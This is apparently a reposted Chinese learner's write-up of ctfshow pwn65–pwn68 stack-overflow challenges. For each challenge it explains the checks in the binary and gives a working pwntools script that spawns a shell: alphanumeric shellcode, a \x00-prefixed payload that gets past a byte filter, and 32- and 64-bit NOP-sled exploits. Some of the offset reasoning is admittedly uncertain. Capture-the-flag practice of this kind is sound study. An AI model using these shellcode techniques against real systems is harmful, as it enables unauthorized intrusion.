ctfshow做题笔记—栈溢出—pwn65~pwn68

news2025/3/10 13:10:25

目录

前言

一、pwn65(你是一个好人)

二、pwn66(简单的shellcode?不对劲,十分得有十二分的不对劲)

三、pwn67(32bit nop sled)(确实不会)

四、pwn68(64bit nop sled)


前言

做起来比较吃力哈哈,自己还是太菜了,学了一些新的知识,记录一下。


一、pwn65(你是一个好人)

先checksec一下:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn65
[*] '/home/kali/桌面/ctfshoww/pwn65'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
Stripped:   No

真的感觉保护得好好的,还用了PIE,看一看代码吧。

main函数的看不了,只能瞅瞅汇编代码了。

映入眼帘的一个超大缓冲区用来存用户输入的shellcode。

.text:00000000000011BB                 cdqe
.text:00000000000011BD                 movzx   eax, [rbp+rax+buf]
.text:00000000000011C5                 cmp     al, 60h
.text:00000000000011C7                 jle     short loc_11DA
.text:00000000000011C9                 mov     eax, [rbp+var_4]
.text:00000000000011CC                 cdqe
.text:00000000000011CE                 movzx   eax, [rbp+rax+buf]
.text:00000000000011D6                 cmp     al, 7Ah
.text:00000000000011D8                 jle     short loc_1236

特别注意下面的类似的代码,cdqe 是一条指令,它的作用是将 32 位寄存器 EAX 的值扩展到 64 位寄存器 RAX 中。具体来说,它会将 EAX 的值符号扩展到 RAX,即保留 EAX 的符号位,并填充到 RAX 的高 32 位。

mov eax, [rbp+var_4]:将 var_4 的值加载到 EAX 中。

mov eax, [rbp+var_4]
cdqe
movzx eax, [rbp+rax+buf]

cdqe:将 EAX 的值符号扩展到 RAX,确保 RAX 是一个 64 位的地址。

movzx eax, [rbp+rax+buf]:将 buf 缓冲区中偏移为 RAX 的字节加载到 EAX 中,并将结果零扩展到 32 位。

另外:

检查读取结果

.text:000000000000119C                 cmp     [rbp+var_8], 0
.text:00000000000011A0                 jg      short loc_11AC
.text:00000000000011A2                 mov     eax, 0
.text:00000000000011A7                 jmp     locret_1254

如果读取的字节数大于 0,程序跳转到 loc_11AC 继续执行;否则直接返回。

.text:000000000000119C                 cmp     [rbp+var_8], 0
.text:00000000000011A0                 jg      short loc_11AC
.text:00000000000011A2                 mov     eax, 0
.text:00000000000011A7                 jmp     locret_1254

如果读取的字节数大于 0,程序跳转到 loc_11AC 继续执行;否则直接返回。

字符范围检查

检查当前字符 AL 是否在范围 0x60 - 0x7A(小写字母 a 到 z)内:

如果 AL <= 0x60,跳转到 loc_11DA。

如果 AL <= 0x7A,跳转到 loc_1236(继续检查下一个字符)。

如果当前字符不在范围 0x60 - 0x7A 内,检查是否在范围 0x40 - 0x5A(大写字母 @ 到 Z)内:

如果 AL <= 0x40,跳转到 loc_11FC。

如果 AL <= 0x5A,跳转到 loc_1236(继续检查下一个字符)。

如果当前字符不在范围 0x40 - 0x5A 内,检查是否在范围 0x2F - 0x5A(/ 到 Z)内:

如果 AL <= 0x2F,跳转到 loc_121E。

如果 AL <= 0x5A,跳转到 loc_1236(继续检查下一个字符)。

如果字符不在任何允许的范围内,程序会输出 "Good, but not right" 并退出。

这个就是大致流程,但是这个shellcode该怎么写呢,看了大佬的做法要使用 alpha3 工具生成只包含可打印字符的 Shellcode。alpha3 可以将原始 Shellcode 编码为只包含特定字符集的版本。结合载有deepseek r1-14b的星见雅的做法,试着写了一下。由于工具安装失败,所以就试了试可视的shellcode当然要用64位那个。

还有一个很特别的地方,就是发送shellcode时一般用的sendline最后会换行,当然’\n’不是范围内的字符,所以要用send。查了一些资料:

·send 函数:

主要用于将指定的数据发送到目标连接。

不会自动在发送的数据末尾添加换行符(\n)。

·sendline 函数:

在发送数据后,通常会在数据的末尾自动添加一个换行符(\n)。

这相当于执行 send(data + '\n')。

使用 send 的情况:

当你需要精确控制发送的数据内容,包括是否包含换行符时。

如果目标程序或服务需要特定的输入格式,不带自动换行。

使用 sendline 的情况:

当你需要发送完整的命令或字符串,并希望目标程序将其视为独立的输入。

特别是在与交互式shell或控制台程序通信时,通常需要换行符来分隔不同的输入。

Ok,来试一试吧:

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28212)
shellcode='Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
p.send(shellcode)
p.interactive()


二、pwn66(简单的shellcode?不对劲,十分得有十二分的不对劲)

这又是什么玩意,快被shellcode搞疯了。

先checksec:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn66
[*] '/home/kali/桌面/ctfshoww/pwn66'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

嘶,随便搞了一个64位的shellcode,显示error。

看看代码吧。

 buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);

之前遇到过。

特别的,有一段验证:

调用check(buf)函数对输入的内容进行验证。如果返回值为真,则表示检测到了潜在的安全威胁或无效数据。

如果触发条件,程序打印“ ERROR !”并退出。

那就来看看check:

signed __int64 __fastcall check(_BYTE *a1)
{
  const char *j; // [sp+18h] [bp-10h]@2
  _BYTE *i; // [sp+20h] [bp-8h]@1

  for ( i = a1; *i; ++i )
  {
    for ( j = "ZZJ loves shell_code,and here is a gift:\x0F\x05 enjoy it!\n"; *j && *j != *i; ++j )
      ;
    if ( !*j )
      return 0LL;
  }
  return 1LL;
}

总的来说就是需要一个以\00开头的shellcode,搜索了一下,\x00\xc0,先积累一下。

\x00B后面加上一个字符,对应一个汇编语句。我们可以通过\x00B\x22、\x00B\x00 、\x00J\x00等来绕过检查。

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28180)
shellcode=asm(shellcraft.sh())
che=b'\x00B\x22'
payload=che+shellcode
p.sendline(payload)
p.interactive()

 或者:

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28180)
shellcode=asm(shellcraft.sh())
che=b'\x00\xc0'
payload=che+shellcode
p.sendline(payload)
p.interactive()


三、pwn67(32bit nop sled)(确实不会)

这是什么东东,不是很懂,又要学习新知识了。

Checksec知是32位程序,而且开了Canary。

发现这么一串然后就退出:

Please wait while loading.............Done
Receiving signal.Signal 0...Done
Signal 1.Done
Signal 2..Done

The load is complete.
Warning: The signal is weak

We need to load the ctfshow_flag.
The current location: 0xffaea4b2
What will you do?
> cat ctfshow_flag
Where do you start?
> 0xffaea4b2
                                                                                                                                                                                    
┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ 

给了一个正确地址,可能需要进行填充覆盖到这个地址 。

拖进ida看看吧。

又不许看c代码。。。。。。

上网搜索说需要运用NOP Sled(滑坡)来解决栈地址随机化导致很难知道shellcode的内存地址。

知识:

NOP Sled(也称为 NOP Slide 或 NOP Ramp)是一种在计算机安全领域中用于缓冲区溢出攻击的技术。它通过在攻击代码(shellcode)之前插入大量 NOP(No Operation,无操作)指令来增加攻击的成功率。

工作原理:

1.NOP 指令:NOP 是一条不执行任何操作的指令,其在 x86 架构中的机器码为 \x90。当 CPU 执行 NOP 指令时,程序计数器(PC 或 EIP)会简单地递增,跳转到下一条指令。

2.缓冲区溢出攻击:在缓冲区溢出攻击中,攻击者通常需要将程序的执行流(EIP)指向攻击代码(shellcode)。然而,由于栈随机化(ASLR)的存在,攻击者很难精确知道 shellcode 的内存地址。

NOP Sled 的作用:为了应对这一问题,攻击者会在 shellcode 之前插入大量 NOP 指令,形成一个“滑坡”(sled)。只要 EIP 落在这个 NOP 区域的任意位置,执行流就会沿着 NOP 指令“滑动”,直到到达 shellcode 的起始位置并执行。

优势:

提高攻击成功率:通过增加一个较大的 NOP 区域,攻击者不需要精确控制 EIP 的值,只需让 EIP 落在 NOP Sled 的范围内即可。

对抗栈随机化:即使栈的起始地址是随机的,NOP Sled 也能显著增加攻击代码被成功执行的概率。

首先这道题并没有开启NX,我们任然可以注入shellcode,但是我们拟在 var_1010 中写入shellcode的地址并执行,因为程序最后读取了一个地址然后执行,这里可以执行shellcode,但是shellcode的参数写在哪里呢,似乎seed是个不错的选则,但是seed的准确地址我们无从得知,所以这个滑坡可以起到很大的作用,

.text:080489E2                 lea     eax, [ebp+seed]
.text:080489E8                 push    eax             ; s
.text:080489E9                 call    _fgets

然而通过提前链接靶机知道会泄露一个地址:

char *query_position()
{
  int v0; // eax@1
  char *result; // eax@1
  char v2; // [sp+3h] [bp-15h]@1
  int v3; // [sp+4h] [bp-14h]@1
  char *v4; // [sp+8h] [bp-10h]@1
  int v5; // [sp+Ch] [bp-Ch]@1

  _x86_get_pc_thunk_ax();
  v5 = *MK_FP(__GS__, 20);
  v0 = rand();
  v3 = v0 % 1337 - 668;
  v4 = &v2 + v3;
  result = &v2 + v3;
  if ( *MK_FP(__GS__, 20) != v5 )
    _stack_chk_fail_local();
  return result;
}

 result = &v2 + v3;就是泄露的地址

当然v2在栈上,所以我们可以通过v2的真实地址计算出seed的地址,这个过程还是太吃操作,看了好久好才有所感悟(有没有及不吃操作又能做对的英雄可以推荐一下),在x86汇编中,ebp通常被用作基址指针,用于访问局部变量和函数参数。每当进入一个函数时,函数会将 ebp 保存起来,并建立新的 ebp 指针指向当前栈帧的顶部。当函数返回时,原来的 ebp 被恢复。V3是一个定值,就是v2的地址到seed的距离。因为有一个随机数处理,所以query_position()最后输出并打印的结果是position=&v2+v3=&v2+random-668(random∈(0,1336))

所以我们只要把seed填到把打印出的position所有可能出现的区间用nop sled填满,这样就一定可以滑到shellcode.

我们先用pwngdb调试一下,便携版内容不太全,结合ida

char v2; // [sp+3h] [bp-15h]@1

在运行到断点pwndbg> break query_position

Breakpoint 1 at 0x80487d5之后用

pwndbg> p $ebp - 0x15

$2 = (void *) 0xffffbe13

我们找到了v2(汗流浃背了已经),接下来是seed,实在不会了,直接照着大佬做吧。

最后算出来是0x2d

pwndbg> info registers ebp
ebp            0xffffbe28          0xffffbe28
01:0004│ ebp 0xffffbe28 —▸ 0xffffce48 ◂— 0

嘶,实在有点无能为力了0xffffce48 - 0xffffbe28 = 0x1039c(即 66,252 字节)

这里nop在 [v1,v1 +1336] 范围内我们都可以执行到 nop,然后滑向 shellcode

from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28136)
p.recvuntil("current location: ")
ar=eval(p.recvuntil("\n",drop=True))
print(hex(ar))
shellcode=asm(shellcraft.sh())
payload=b'\x90'*1336+shellcode
p.recvuntil(">")
p.sendline(payload)
shellar=ar+0x2d+668
p.recvuntil(">")
p.sendline(hex(shellar))#hex将后面转化为16进制地址
p.interactive()

确实还是能打出来,不过关于计算确实不太会。


四、pwn68(64bit nop sled)

今天继续往前做,64位nop seld,一样的开了金丝雀。

拖进ida看一看。

嘿,这次可以看main函数的c语言代码了。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rdi@1
  __int64 v4; // rax@1
  int result; // eax@1
  __int64 v6; // rcx@1
  void (*v7)(void); // [sp+8h] [bp-1018h]@1
  unsigned int seed; // [sp+10h] [bp-1010h]@1
  __int64 v9; // [sp+1018h] [bp-8h]@1

  v9 = *MK_FP(__FS__, 40LL);
  v3 = stdout;
  setbuf(stdout, 0LL);
  logo(v3, 0LL);
  srand((unsigned __int64)&seed);
  Loading();
  acquire_satellites();
  LODWORD(v4) = query_position();
  printf("We need to load the ctfshow_flag.\nThe current location: %p\n", v4);
  printf("What will you do?\n> ");
  fgets((char *)&seed, 4096, stdin);
  printf("Where do you start?\n> ", 4096LL);
  __isoc99_scanf("%p", &v7);
  v7();
  result = 0;
  v6 = *MK_FP(__FS__, 40LL) ^ v9;
  return result;
}

还是用v7来读入shellcode的地址,用seed来写入shellcode,c代码里可以直观的看到。

 __isoc99_scanf("%p", &v7);

  v7();

所以需要找到seed与v7之间的偏移量。

char *query_position()
{
  int v0; // eax@1
  char *result; // rax@1
  __int64 v2; // rsi@1
  char v3; // [sp+Bh] [bp-15h]@1
  int v4; // [sp+Ch] [bp-14h]@1
  char *v5; // [sp+10h] [bp-10h]@1
  __int64 v6; // [sp+18h] [bp-8h]@1

  v6 = *MK_FP(__FS__, 40LL);
  v0 = rand();
  v4 = v0 % 1337 - 668;
  v5 = &v3 + v4;
  result = &v3 + v4;
  v2 = *MK_FP(__FS__, 40LL) ^ v6;
  return result;
}

这个函数输出了一个类似地址的东西,v5 = &v3 + v4;所以v3也是我们要利用的,v4应该是常量。

关键信息:

char v3; // [sp+Bh] [bp-15h]@1
v4 = v0 % 1337 - 668;

我们pwndbg调试一下:
先在query_position处下一个断点

break query_position

pwndbg> info registers rbp
rbp            0x7fffffffcc10      0x7fffffffcc10
continue
pwndbg>  info registers rbp
rbp            0x7fffffffdc40      0x7fffffffdc40

上面就是rbp的变化,这次就跟着大佬的节奏试着画一个栈布局的图吧。

0000000000400A6D                 sub     rsp, 1020h

根据这个可以知道[main]rsp =[main]rbp-0x1020=[main]rbp-0x1020

可以双击进入v7和seed看一看偏移地址:

-0000000000001018 var_1018        dq ?
-0000000000001010 seed            dd ?

试着用表格搞了一个栈分布,准确地址不太会算。

然后rbp开始变化:

再更新一下栈图(有不对的地方,毕竟才学):

大概是这个样子,不太会画。

这样比上一道题做起来清晰一点了,虽然有很多错误。

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28302)
p.recvuntil(b'location: ')
ar=eval(p.recvuntil("\n",drop=True))
print(hex(ar))
shellcode=asm(shellcraft.sh())
payload=b'\x90'*0x260+shellcode#0x260随便找一个比0x25C大的
p.sendline(payload)
p.sendline(hex(ar+688))
p.interactive()

试了两个nop还是汗流浃背打出来了。


还有很多不懂的地方,继续学习中......

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2312707.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JS中的闭包(closures)一种强大但易混淆的概念

JavaScript 中的闭包&#xff08;closures&#xff09;被认为是一种既强大又易混淆的概念。闭包允许函数访问其外部作用域的变量&#xff0c;即使外部函数已执行完毕&#xff0c;这在状态维护和回调函数中非常有用。但其复杂性可能导致开发者的误解&#xff0c;尤其在变量捕获和…

Element使用

Element(美化网页&#xff09; ElementUI的使用注意事项&#xff1a; Element.ui的使用基于Vue环境&#xff0c;于是Element相关组件的使用必须放在Vue对象绑定的视图中去 ElementUI的JS库的引入必须放在vue.js库的后面 <!-- 引入样式 --><link rel"styleshee…

基于YOLO11深度学习的电瓶车进电梯检测与语音提示系统【python源码+Pyqt5界面+数据集+训练代码】

《------往期经典推荐------》 一、AI应用软件开发实战专栏【链接】 项目名称项目名称1.【人脸识别与管理系统开发】2.【车牌识别与自动收费管理系统开发】3.【手势识别系统开发】4.【人脸面部活体检测系统开发】5.【图片风格快速迁移软件开发】6.【人脸表表情识别系统】7.【…

R语言的基础命令及实例操作

> T & F [1] FALSE > T & T [1] TRUE > T | F [1] TRUE > F | F [1] FALSE > a <- c(T,F,T) > b <- c(F,F,T) > a & b [1] FALSE FALSE TRUE > a | b [1] TRUE FALSE TRUE 在 R 中&#xff0c;大小写是敏感的&#xff0c;也就是说…

知识蒸馏综述Knowledge Distillation: A Survey解读

论文链接&#xff1a;Knowledge Distillation: A Survey 摘要&#xff1a;近年来&#xff0c;深度神经网络在工业界和学术界都取得了成功&#xff0c;尤其是在计算机视觉任务方面。深度学习的巨大成功主要归功于它能够扩展以对大规模数据进行编码&#xff0c;并且能够处理数十…

第十五届蓝桥杯省赛电子类单片机学习过程记录(客观题)

客观试题: 01.典型的BUCK电源电路包含哪些关键器件(ABCD) A. 电容 B. 二极管 C. 电感 D. MOSFET 解析: 典型的 BUCK 电源电路是一种降压型的直流-直流转换电路,它包含以下关键器件: A.电容:电容在电路中起到滤波的作用。输入电容用于平滑输入电压的波动,减少电源噪声对…

【c++】平移字符串

说明 实现字符串的左移与右移 示例代码 #include <iostream> #include <string> using namespace std;int main() {string str1 "12345";//左移2位string str2 str1.substr(2) str1.substr(0, 2);cout << str2 << endl;//右移2位&…

为什么DDPG需要目标网络而A2C不需要?

在强化学习中&#xff0c;DDPG需要目标网络而A2C不需要的主要原因在于算法架构、更新方式和目标稳定性需求的差异&#xff1a; Q值估计的稳定性需求不同 DDPG的Critic网络需要估计状态-动作值函数 Q ( s , a ) Q(s,a) Q(s,a)&#xff0c;其目标值的计算涉及下一个状态的最大Q值…

蓝桥杯 C++ b组 统计子矩阵深度解析

题目大意&#xff1a;给定一个 NM 的矩阵 A&#xff0c;请你统计有多少个子矩阵 (最小11&#xff0c;最大NM) 满足子矩阵中所有数的和不超过给定的整数 K&#xff1f; 前言&#xff1a;这题很容易想到二维前缀和优化&#xff0c;然后枚举子矩阵&#xff0c;但这样时间复杂度为…

YOLOv12本地部署教程——42%速度提升,让高效目标检测触手可及

YOLOv12 是“你只看一次”&#xff08;You Only Look Once, YOLO&#xff09;系列的最新版本&#xff0c;于 2025 年 2 月发布。它引入了注意力机制&#xff0c;提升了检测精度&#xff0c;同时保持了高效的实时性能。在保持速度的同时&#xff0c;显著提升了检测精度。例如&am…

认识Event Loop【1】

前言 这应该是一个系列文章&#xff0c;因为我觉得Event Loop&#xff08;事件循环&#xff09;是一件很抽象也很重要的一个机制。eventloop这个知识点处于非常杂糅的位置&#xff0c;和很多其他知识&#xff0c;如运行时、浏览器、渲染流程、数据结构、线程等等&#xff0c;也…

《Linux栈破坏了,如何还原》

【栈破坏导读】栈破坏有了解过吗&#xff1f;何为栈破坏&#xff0c;栈破坏了&#xff0c;程序会立刻引发崩溃&#xff0c;我们通过gdb去调试coredump&#xff0c;栈被破坏的栈帧是没法被恢复的&#xff0c;这也给我们调试程序带来很大的困难&#xff0c;那如何还原栈破坏的第一…

环形链表问题的探究与代码实现

在数据结构与算法的学习中&#xff0c;环形链表是一个经典的问题。它不仅考察对链表这种数据结构的理解&#xff0c;还涉及到指针操作和逻辑推理。本文将结合代码和图文&#xff0c;深入分析如何判断链表中是否有环以及如何找到环的入口点。 目录 一、判断链表中是否有环 …

【CSS3】筑基篇

目录 复合选择器后代选择器子选择器并集选择器交集选择器伪类选择器 CSS 三大特性继承性层叠性优先级 背景属性背景色背景图背景图平铺方式背景图位置背景图缩放背景图固定背景复合属性 显示模式显示模式块级元素行内元素行内块元素 转换显示模式 结构伪类选择器结构伪类选择器…

React:类组件(上)

kerwin老师我来了 类组件的创建 class组件&#xff0c;js里的类命名首字符大写&#xff0c;类里面包括构造函数&#xff0c;方法 组件类要继承React.Component才有效 必须包含render方法 import React from react class App extends React.Component{render() {return <…

Spring Cloud之注册中心之Nacos的使用

目录 Naacos 服务注册/服务发现 引⼊Spring Cloud Alibaba依赖 引入Nacos依赖 引入Load Balance依赖 配置Nacos地址 服务端调用 启动服务 Naacos Nacos是Spring Cloud Alibaba的组件, Spring Cloud Alibaba遵循Spring Cloud中定义的服务注册, 服务发现规范. 因此使⽤Na…

字符串相乘——力扣

给定两个以字符串形式表示的非负整数 num1 和 num2&#xff0c;返回 num1 和 num2 的乘积&#xff0c;它们的乘积也表示为字符串形式。 注意&#xff1a;不能使用任何内置的 BigInteger 库或直接将输入转换为整数。 示例 1: 输入: num1 "2", num2 "3" …

基于OpenCV的车牌识别系统(源码+论文+部署教程)

运行环境 基于OpenCV的车牌识别系统运行环境如下&#xff1a; • Python: ≥ 3.5 • OpenCV: ≥ 4.0 • IDE工具&#xff1a;Visual Studio Code&#xff08;可自行选择&#xff09; • 技术栈&#xff1a;Python OpenCV Tkinte 主要功能 基于OpenCV的车牌识别系统主要…

MySQL:CRUD(增删查改)

目录 一、准备工作 二、Create 新增 1、语法 2、单行数据全列插入 3、单行数据指定列插入 4、多行数据指定列插入 5、多行数据全列插入 三、Retrieve 检索 1、语法 2、全列查询 3、指定列查询 4、查询字段为表达式 &#xff08;1&#xff09;常量表达式 &…

【git】【网络】【项目配置运行】HTTP 协议的微型简易 Web 服务器---tinyEasyMuduoWebServer

【git】【网络】【项目配置运行】HTTP 协议的微型简易 Web 服务器—tinyEasyMuduoWebServer csdn项目&#xff1a; 原文链接&#xff1a;https://blog.csdn.net/weixin_45178775/article/details/122257814 github链接&#xff1a;https://github.com/wyewyewye/tinyEasyMuduo…